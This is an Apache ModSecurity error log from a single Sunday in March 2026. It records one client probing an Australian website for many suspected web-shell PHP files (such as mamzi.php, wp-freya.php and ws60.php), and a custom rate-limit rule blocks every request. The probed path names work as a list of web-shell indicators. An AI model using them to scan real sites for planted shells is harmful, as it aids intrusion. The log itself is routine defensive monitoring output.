[Sun Mar 01 15:58:11.282203 2026] [:error] [pid 42619:tid 42634] [client 4.204.200.32:18303] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aaPxkx_zUXcYaZE4AOeWiAAAAU0"]
[Sun Mar 01 15:58:11.697797 2026] [:error] [pid 38241:tid 38258] [client 4.204.200.32:18367] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mamzi.php"] [unique_id "aaPxk_KRPk6YnJBxw_xcoQAAAM4"]
[Sun Mar 01 15:58:12.163874 2026] [:error] [pid 38241:tid 38253] [client 4.204.200.32:18272] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mamzi.php"] [unique_id "aaPxlPKRPk6YnJBxw_xcowAAAMk"]
[Sun Mar 01 15:58:12.585972 2026] [:error] [pid 38241:tid 38268] [client 4.204.200.32:18262] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mamzi.php"] [unique_id "aaPxlPKRPk6YnJBxw_xcpgAAANg"]
[Sun Mar 01 15:58:13.107769 2026] [:error] [pid 44644:tid 44648] [client 4.204.200.32:18357] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mamzi.php"] [unique_id "aaPxlZ3RJaXMcw3y9V-zgAAAAAE"]
[Sun Mar 01 15:58:13.525380 2026] [:error] [pid 7165:tid 7177] [client 4.204.200.32:18373] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaPxlRRjCrA8qWBjgG81_AAAAko"]
[Sun Mar 01 15:58:13.988365 2026] [:error] [pid 38241:tid 38249] [client 4.204.200.32:18301] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaPxlfKRPk6YnJBxw_xcrQAAAMU"]
[Sun Mar 01 15:58:14.403238 2026] [:error] [pid 38241:tid 38263] [client 4.204.200.32:18240] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaPxlvKRPk6YnJBxw_xcsAAAANM"]
[Sun Mar 01 15:58:15.010850 2026] [:error] [pid 38241:tid 38244] [client 4.204.200.32:18261] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaPxl_KRPk6YnJBxw_xcsgAAAMA"]
[Sun Mar 01 15:58:15.421176 2026] [:error] [pid 42619:tid 42626] [client 4.204.200.32:18218] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ae.php"] [unique_id "aaPxlx_zUXcYaZE4AOeWigAAAUU"]
[Sun Mar 01 15:58:15.916233 2026] [:error] [pid 44644:tid 44651] [client 4.204.200.32:18239] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ae.php"] [unique_id "aaPxl53RJaXMcw3y9V-zhgAAAAQ"]
[Sun Mar 01 15:58:16.375340 2026] [:error] [pid 37032:tid 37056] [client 4.204.200.32:18287] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ae.php"] [unique_id "aaPxmOu0U4o7eSImsVRPUQAAAZY"]
[Sun Mar 01 15:58:16.804870 2026] [:error] [pid 7165:tid 7176] [client 4.204.200.32:18282] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ae.php"] [unique_id "aaPxmBRjCrA8qWBjgG81_QAAAkk"]
[Sun Mar 01 15:58:17.270881 2026] [:error] [pid 38034:tid 38049] [client 4.204.200.32:18421] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aaPxmQxtfZjwlJok9K_LBgAAAQs"]
[Sun Mar 01 15:58:17.684265 2026] [:error] [pid 38241:tid 38249] [client 4.204.200.32:18112] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aaPxmfKRPk6YnJBxw_xcxgAAAMU"]
[Sun Mar 01 15:58:18.296772 2026] [:error] [pid 7165:tid 7190] [client 4.204.200.32:18406] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aaPxmhRjCrA8qWBjgG81_gAAAlc"]
[Sun Mar 01 15:58:18.714312 2026] [:error] [pid 44644:tid 44656] [client 4.204.200.32:18192] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aaPxmp3RJaXMcw3y9V-znAAAAAk"]
[Sun Mar 01 15:58:19.161092 2026] [:error] [pid 44644:tid 44649] [client 4.204.200.32:18193] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws60.php"] [unique_id "aaPxm53RJaXMcw3y9V-zngAAAAI"]
[Sun Mar 01 15:58:19.584942 2026] [:error] [pid 44644:tid 44669] [client 4.204.200.32:18186] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws60.php"] [unique_id "aaPxm53RJaXMcw3y9V-znwAAABY"]
[Sun Mar 01 15:58:19.998601 2026] [:error] [pid 38034:tid 38039] [client 4.204.200.32:18270] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws60.php"] [unique_id "aaPxmwxtfZjwlJok9K_LDgAAAQM"]
[Sun Mar 01 15:58:20.464955 2026] [:error] [pid 7165:tid 7170] [client 4.204.200.32:18231] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws60.php"] [unique_id "aaPxnBRjCrA8qWBjgG81_wAAAkM"]
[Sun Mar 01 15:58:20.893985 2026] [:error] [pid 44644:tid 44657] [client 4.204.200.32:18358] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-freya.php"] [unique_id "aaPxnJ3RJaXMcw3y9V-zowAAAAo"]
[Sun Mar 01 15:58:21.321490 2026] [:error] [pid 38241:tid 38245] [client 4.204.200.32:18299] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-freya.php"] [unique_id "aaPxnfKRPk6YnJBxw_xc0wAAAME"]
[Sun Mar 01 15:58:21.738295 2026] [:error] [pid 37032:tid 37054] [client 4.204.200.32:18198] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-freya.php"] [unique_id "aaPxneu0U4o7eSImsVRPVwAAAZQ"]
[Sun Mar 01 15:58:22.215254 2026] [:error] [pid 38241:tid 38245] [client 4.204.200.32:18200] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-freya.php"] [unique_id "aaPxnvKRPk6YnJBxw_xc2AAAAME"]
[Sun Mar 01 15:58:22.642713 2026] [:error] [pid 38034:tid 38040] [client 4.204.200.32:18414] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bb.php"] [unique_id "aaPxngxtfZjwlJok9K_LGAAAAQQ"]
[Sun Mar 01 15:58:23.064029 2026] [:error] [pid 38034:tid 38061] [client 4.204.200.32:18304] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bb.php"] [unique_id "aaPxnwxtfZjwlJok9K_LGwAAARc"]
[Sun Mar 01 15:58:23.489597 2026] [:error] [pid 41342:tid 41359] [client 4.204.200.32:18221] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bb.php"] [unique_id "aaPxn44iJ6RAS5CatDlLDQAAAg4"]
[Sun Mar 01 15:58:23.910940 2026] [:error] [pid 38034:tid 38052] [client 4.204.200.32:18288] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bb.php"] [unique_id "aaPxnwxtfZjwlJok9K_LHgAAAQ4"]
[Sun Mar 01 15:58:24.327298 2026] [:error] [pid 38034:tid 38061] [client 4.204.200.32:18203] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dsd.php"] [unique_id "aaPxoAxtfZjwlJok9K_LIQAAARc"]
[Sun Mar 01 15:58:24.747254 2026] [:error] [pid 38034:tid 38050] [client 4.204.200.32:18302] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dsd.php"] [unique_id "aaPxoAxtfZjwlJok9K_LIwAAAQw"]
[Sun Mar 01 15:58:25.179399 2026] [:error] [pid 7165:tid 7168] [client 4.204.200.32:18118] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dsd.php"] [unique_id "aaPxoRRjCrA8qWBjgG82AgAAAkE"]
[Sun Mar 01 15:58:25.596642 2026] [:error] [pid 38241:tid 38257] [client 4.204.200.32:18209] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dsd.php"] [unique_id "aaPxofKRPk6YnJBxw_xc3gAAAM0"]
[Sun Mar 01 15:58:26.033124 2026] [:error] [pid 38241:tid 38252] [client 4.204.200.32:18181] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/guk.php"] [unique_id "aaPxovKRPk6YnJBxw_xc3wAAAMg"]
[Sun Mar 01 15:58:26.447062 2026] [:error] [pid 38241:tid 38244] [client 4.204.200.32:18214] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/guk.php"] [unique_id "aaPxovKRPk6YnJBxw_xc4AAAAMA"]
[Sun Mar 01 15:58:26.857032 2026] [:error] [pid 37032:tid 37041] [client 4.204.200.32:18188] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/guk.php"] [unique_id "aaPxouu0U4o7eSImsVRPWgAAAYc"]
[Sun Mar 01 15:58:27.271797 2026] [:error] [pid 37032:tid 37039] [client 4.204.200.32:18339] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/guk.php"] [unique_id "aaPxo-u0U4o7eSImsVRPWwAAAYU"]
[Sun Mar 01 15:58:27.690622 2026] [:error] [pid 38241:tid 38263] [client 4.204.200.32:18405] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "aaPxo_KRPk6YnJBxw_xc5QAAANM"]
[Sun Mar 01 15:58:28.107576 2026] [:error] [pid 38034:tid 38050] [client 4.204.200.32:18292] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "aaPxpAxtfZjwlJok9K_LKwAAAQw"]
[Sun Mar 01 15:58:28.542063 2026] [:error] [pid 38241:tid 38249] [client 4.204.200.32:18260] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "aaPxpPKRPk6YnJBxw_xc5gAAAMU"]
[Sun Mar 01 15:58:28.958694 2026] [:error] [pid 38241:tid 38257] [client 4.204.200.32:18276] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "aaPxpPKRPk6YnJBxw_xc6QAAAM0"]
[Sun Mar 01 15:58:29.377191 2026] [:error] [pid 44644:tid 44657] [client 4.204.200.32:18237] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aaPxpZ3RJaXMcw3y9V-zrQAAAAo"]
[Sun Mar 01 15:58:29.791685 2026] [:error] [pid 44644:tid 44652] [client 4.204.200.32:18226] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aaPxpZ3RJaXMcw3y9V-zrgAAAAU"]
[Sun Mar 01 15:58:30.203972 2026] [:error] [pid 44644:tid 44660] [client 4.204.200.32:18217] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aaPxpp3RJaXMcw3y9V-zrwAAAA0"]
[Sun Mar 01 15:58:30.637454 2026] [:error] [pid 38241:tid 38257] [client 4.204.200.32:18210] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aaPxpvKRPk6YnJBxw_xc8wAAAM0"]
[Sun Mar 01 15:58:31.084507 2026] [:error] [pid 42619:tid 42641] [client 4.204.200.32:18280] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file52.php"] [unique_id "aaPxpx_zUXcYaZE4AOeWkQAAAVQ"]
[Sun Mar 01 15:58:31.497287 2026] [:error] [pid 41967:tid 41989] [client 4.204.200.32:18224] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file52.php"] [unique_id "aaPxp4O1bqY181I02eGSAAAAAJQ"]
[Sun Mar 01 15:58:31.908008 2026] [:error] [pid 38241:tid 38252] [client 4.204.200.32:18060] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file52.php"] [unique_id "aaPxp_KRPk6YnJBxw_xc-AAAAMg"]
[Sun Mar 01 15:58:32.318781 2026] [:error] [pid 38034:tid 38040] [client 4.204.200.32:18135] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file52.php"] [unique_id "aaPxqAxtfZjwlJok9K_LLwAAAQQ"]
[Sun Mar 01 15:58:32.734790 2026] [:error] [pid 41967:tid 41970] [client 4.204.200.32:18271] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tax.php"] [unique_id "aaPxqIO1bqY181I02eGSAgAAAIE"]
[Sun Mar 01 15:58:33.147812 2026] [:error] [pid 42619:tid 42622] [client 4.204.200.32:18407] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tax.php"] [unique_id "aaPxqR_zUXcYaZE4AOeWlAAAAUE"]
[Sun Mar 01 15:58:33.566663 2026] [:error] [pid 38034:tid 38036] [client 4.204.200.32:18347] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tax.php"] [unique_id "aaPxqQxtfZjwlJok9K_LNQAAAQA"]
[Sun Mar 01 15:58:33.984871 2026] [:error] [pid 37032:tid 37038] [client 4.204.200.32:18189] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tax.php"] [unique_id "aaPxqeu0U4o7eSImsVRPYgAAAYQ"]
[Sun Mar 01 15:58:34.402507 2026] [:error] [pid 37032:tid 37053] [client 4.204.200.32:18141] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "aaPxquu0U4o7eSImsVRPYwAAAZM"]
[Sun Mar 01 15:58:34.831185 2026] [:error] [pid 38241:tid 38256] [client 4.204.200.32:18243] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "aaPxqvKRPk6YnJBxw_xdBQAAAMw"]
[Sun Mar 01 15:58:35.246038 2026] [:error] [pid 38241:tid 38258] [client 4.204.200.32:18290] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "aaPxq_KRPk6YnJBxw_xdCgAAAM4"]
